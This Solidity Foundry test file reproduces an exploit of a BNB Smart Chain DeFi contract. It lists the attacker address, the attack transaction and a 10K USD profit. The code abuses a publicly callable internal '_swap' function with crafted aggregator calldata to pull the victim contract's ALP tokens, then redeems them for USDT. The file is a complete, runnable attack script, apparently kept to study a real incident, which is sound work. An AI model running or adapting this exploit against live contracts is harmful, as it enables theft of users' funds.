// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; import "forge-std/Test.sol"; import "./../interface.sol"; // Attacker : https://bscscan.com/address/0xff61Ba33Ed51322BB716EAb4137Adf985644b94d // Attack Contract : https://bscscan.com/address/0x0edf13f6bd033f0f267d46c6e9dff9c7190e0fa0 // Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x9983ca8eaee9ee69629f74537eaf031272af75f1e5a7725911d8b06df17c67ca // Profit : 10K USD // REASON : public interal call struct ApolloXRedeemData { address alpTokenOut; uint256 minOut; address tokenOut; bytes aggregatorData; } struct RedeemData { uint256 amount; address receiver; ApolloXRedeemData apolloXRedeemData; } interface Vun { function _swap(address tokenForSwap, bytes memory agg) external; } interface Alp is IERC20 { function maxRedeem( address owner ) external returns (uint256 maxShares); function redeem(uint256 shares, RedeemData calldata redeemData) external; } contract ContractTest is Test { IERC20 constant USDT = Alp(0x55d398326f99059fF775485246999027B3197955); Alp constant ALP_APO = Alp(0x9Ad45D46e2A2ca19BBB5D5a50Df319225aD60e0d); Vun constant VUN = Vun(0xD188492217F09D18f2B0ecE3F8948015981e961a); CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() external { cheats.createSelectFork("bsc", 36_727_073); deal(address(USDT), address(this), 0); } function testExploit() external { emit log_named_decimal_uint("[End] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18); uint256 VUN_balance = ALP_APO.balanceOf(address(VUN)); uint256[] memory pools = new uint256[](1); pools[0] = uint256(1_457_847_883_966_391_224_294_152_661_087_436_089_985_854_139_374_837_306_518); // translate into hex,contain your address VUN._swap( address(ALP_APO), abi.encodeWithSignature( "unoswapTo(address,address,uint256,uint256,uint256[])", address(this), address(ALP_APO), VUN_balance, 0, pools ) ); ALP_APO.maxRedeem(address(this)); ALP_APO.approve(address(ALP_APO), VUN_balance); RedeemData memory r; r.amount = VUN_balance; r.receiver = address(this); r.apolloXRedeemData.alpTokenOut = address(USDT); r.apolloXRedeemData.minOut = 0; r.apolloXRedeemData.tokenOut = address(USDT); r.apolloXRedeemData.aggregatorData = ""; ALP_APO.redeem(VUN_balance, r); emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18); } function swap(uint256 a, uint256 b, address c, bytes memory d) external {} function getReserves() public view returns (uint256, uint256, uint256) { return (1, 1, block.timestamp); } }